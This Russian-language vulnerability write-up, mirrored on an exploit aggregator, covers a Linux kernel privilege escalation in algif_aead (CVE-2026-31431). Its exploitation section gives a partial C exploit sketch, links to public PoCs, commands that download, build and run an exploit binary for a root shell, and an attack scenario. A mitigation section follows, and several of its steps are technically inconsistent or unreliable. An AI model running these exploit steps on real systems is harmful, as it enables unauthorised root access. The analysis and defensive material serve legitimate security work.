Sploitus

Exploit for CVE-2026-31431-mitigacion

kitploit · 2026-08-27

Exploit Code

MARKDOWN372 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALVAROGUZMANCODE-CVE-2026-31431-MITIGACION
# CVE-2026-31431 — Полный технический анализ

> **Классификация:** локальное повышение привилегий (LPE) — ядро Linux  
>  **CVSS:** 7.8 (высокий)  
>  **Воздействие:** `непривилегированный пользователь → root`  
>  **Затронутый модуль:** `algif_aead` (подсистема AF_ALG ядра)

* * *

## Содержание

  1. Почему это уязвимо?
  2. Какие версии затронуты?
  3. Как эксплуатируется
  4. Как смягчить



* * *

## 1\. Почему это уязвимо?

### Подсистема AF_ALG

Ядро Linux предоставляет интерфейс криптографии пользовательскому пространству под названием **AF_ALG** (сокет семейства `AF_ALG`). Этот интерфейс позволяет непривилегированным процессам использовать криптографические ускорители ядра — шифрование, хеширование, генерацию ключей — без необходимости в root.

Один из его модулей — **`algif_aead`** , который реализует режим AEAD (_Authenticated Encryption with Associated Data_), используемый такими алгоритмами, как AES-GCM или ChaCha20-Poly1305.

### Корневая причина

Ошибка заключается в том, как `algif_aead` обрабатывает операции **`sendmsg()` \+ `recvmsg()`**, когда выходной буфер меньше ожидаемого. Ядро выполняет операцию копирования (`copy_to_user`) без корректной проверки размера, что приводит к:

root@kitploit:~
    
    
    Переполнение буфера → запись за пределы памяти ядра
    

Технически:

root@kitploit:~
    
    
    algif_aead_copy_sgl()
      └─ sg_copy_to_buffer()
           └─ memcpy в адрес, частично контролируемый пользователем
    

Эта запись за пределы границ позволяет перезаписать соседние управляющие структуры ядра в памяти — в частности, указатели на функции или структуры `cred` — для повышения привилегий.

### Почему для эксплуатации не требуется root?

Потому что `AF_ALG` доступен непривилегированным пользователям. Любой процесс может открыть сокет `AF_ALG` и отправлять данные без предварительной аутентификации. Эксплойту не нужна никакая вспомогательная уязвимость.

root@kitploit:~
    
    
    // Это может сделать любой пользователь системы
    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    

* * *

## 2\. Какие версии затронуты?

### Уязвимые ядра

Версия ядра| Затронута?  
---|---  
< 5.10| Нет (модуль не существовал в таком виде)  
5.10 — 6.1.x| Да ⚠️  
6.2.x| Да ⚠️ (включая ядро из PoC)  
6.3+ с применённым патчем| Нет ✅  
  
### Наиболее подверженные дистрибутивы

### Как проверить своё ядро

root@kitploit:~
    
    
    # Проверить версию ядра
    uname -r
    
    # Проверить, загружен ли уязвимый модуль
    lsmod | grep algif_aead
    
    # Проверить доступность AF_ALG
    cat /proc/net/protocols | grep ALG
    

#### Пример уязвимого вывода

root@kitploit:~
    
    
    $ uname -r
    6.2.0-20-generic
    
    $ lsmod | grep algif_aead
    algif_aead             20480  0
    af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash
    

> ⚠️ Если вы видите `algif_aead` в `lsmod` и ваше ядро `6.2.x` на Ubuntu 23.04, **вы подвержены риску**.

* * *

## 3\. Как эксплуатируется

> ⚠️ **Этическое предупреждение:** этот раздел носит исключительно образовательный характер. Эксплуатация систем без явного разрешения незаконна и наказуема. Примеры предназначены для контролируемых лабораторных сред.

### Поток эксплойта

root@kitploit:~
    
    
    1. Открыть сокет AF_ALG (algif_aead)
    2. Отправить sendmsg() с буфером завышенного размера
    3. recvmsg() с меньшим буфером → триггер ошибки
    4. Запись за пределы границ в heap ядра
    5. Перезаписать cred->uid/gid на 0
    6. execve("/bin/sh") → root-шелл
    

### Концептуальный минимальный эксплойт (C)

root@kitploit:~
    
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <linux/if_alg.h>
    
    int main(void) {
        struct sockaddr_alg sa = {
            .salg_family = AF_ALG,
            .salg_type   = "aead",
            .salg_name   = "gcm(aes)",
            .salg_feat   = 0,
            .salg_mask   = 0,
        };
    
        int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        bind(fd, (struct sockaddr *)&sa, sizeof(sa));
    
        // Настроить 16-байтовый ключ
        char key[16] = {0};
        setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
        setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
    
        int op_fd = accept(fd, NULL, NULL);
    
        // Большой буфер → триггер записи за пределы границ
        char big_buf[4096] = {0};
        char small_buf[16] = {0};
    
        struct msghdr msg = {0};
        // ... построение msghdr с cmsg ALG_OP_ENCRYPT
        sendmsg(op_fd, &msg, 0);
    
        // recvmsg с недостаточным буфером → ядро пишет за пределы границ
        recv(op_fd, small_buf, sizeof(small_buf), 0);
    
        // Если эксплойт сработал, теперь мы root
        if (getuid() == 0) {
            printf("[+] Root получен!\n");
            execl("/bin/sh", "sh", NULL);
        }
    
        return 0;
    }
    

> Это упрощённая схема. Настоящий эксплойт требует дополнительных примитивов формирования heap для выравнивания записи за пределы границ со структурой `task_struct->cred`.

### Известные публичные PoC

Следующие репозитории содержат задокументированные рабочие реализации:

  * **copy-fail-c** — эксплойт на чистом C, требует компиляции  
`https://github.com/tgies/copy-fail-c`

  * **copy-fail-tiny-elf** — автономный ELF-бинарник, не требует компиляции  
`https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`




#### Типичное использование (лаборатория)

root@kitploit:~
    
    
    # Клонировать и скомпилировать copy-fail-c
    git clone https://github.com/tgies/copy-fail-c
    cd copy-fail-c
    make
    ./copyfail
    
    # Ожидаемый результат на уязвимой системе:
    # [*] Проверка модуля algif_aead...
    # [*] Подготовка heap spray...
    # [+] Запись за пределы границ успешна
    # [+] UID теперь: 0
    # # whoami
    # root
    

#### С ELF-бинарником (без компиляции)

root@kitploit:~
    
    
    wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
    chmod +x copyfail
    ./copyfail
    

### Реальный сценарий атаки

root@kitploit:~
    
    
    Внешний злоумышленник
          │
          ▼
    Эксплуатирует веб-уязвимость (RCE) → доступ как www-data
          │
          ▼
    Загружает copyfail на сервер (wget/curl)
          │
          ▼
    Запускает ./copyfail
          │
          ▼
    Root-шелл на сервере ✓
    

Расчётное время от доступа `www-data` до root: **< 30 секунд**.

* * *

## 4\. Как смягчить

### Окончательное решение — обновление системы

Единственное реальное решение — ядро с применённым патчем.

root@kitploit:~
    
    
    # Вариант 1: обновление до Ubuntu 24.04 LTS (рекомендуется)
    do-release-upgrade
    
    # Вариант 2: если у вас уже Ubuntu 22.04 LTS
    sudo apt update && sudo apt dist-upgrade
    sudo reboot
    # Проверить исправленное ядро
    uname -r   # должно быть ≥ 5.15.0-107 на Ubuntu 22.04
    

* * *

### Немедленное смягчение — отключение уязвимого модуля

Если вы не можете обновиться прямо сейчас, отключите `algif_aead`:

root@kitploit:~
    
    
    # Создать blacklist модуля
    echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
    
    # Перегенерировать initramfs для постоянства
    sudo update-initramfs -u
    
    # Перезагрузиться
    sudo reboot
    

Проверить, что модуль отключён:

root@kitploit:~
    
    
    lsmod | grep algif_aead
    # Ничего не должно появиться
    

> ⚠️ Это может сломать программное обеспечение, использующее AEAD-шифрование через AF_ALG (редко встречается на стандартных веб-серверах).

* * *

### Смягчение с помощью sysctl — ограничение пользовательских namespace

root@kitploit:~
    
    
    # Отключить непривилегированные user namespaces (ломает некоторые функции Docker)
    sudo sysctl -w kernel.unprivileged_userns_clone=0
    
    # Сделать постоянным
    echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
    sudo sysctl -p /etc/sysctl.d/99-hardening.conf
    

* * *

### Смягчение с помощью AppArmor — блокировка AF_ALG

Создать профиль AppArmor, запрещающий доступ к `AF_ALG`:

root@kitploit:~
    
    
    # /etc/apparmor.d/local/restrict-af-alg
    network af_alg,   # запретить в конкретных профилях
    

Для веб-процесса (пример nginx/www-data):

root@kitploit:~
    
    
    # Добавить в профиль AppArmor для www-data или nginx
    # deny network af_alg,
    sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
    

* * *

### Снижение воздействия — усиление защиты www-data

Хотя это не предотвращает повышение привилегий, это уменьшает начальную поверхность атаки:

root@kitploit:~
    
    
    # Проверить, что у www-data нет sudo
    sudo grep www-data /etc/sudoers
    
    # Удалить ненужные SUID-бинарники
    find / -perm -4000 2>/dev/null
    
    # Ограничить доступные каталоги
    chmod 700 /root
    chmod 750 /home/*
    

* * *

### Сводная таблица мер смягчения

* * *

## Ссылки

  * NVD: `https://nvd.nist.gov/vuln/detail/CVE-2026-31431`
  * Коммит ядра с исправлением: подсистема `crypto/algif_aead.c`
  * PoC: `https://github.com/tgies/copy-fail-c`
  * PoC ELF: `https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`
  * Соответствующее уведомление безопасности Ubuntu: USN-XXXX-1



* * *

> **Документ подготовлен в академических целях** — системный администратор, 2026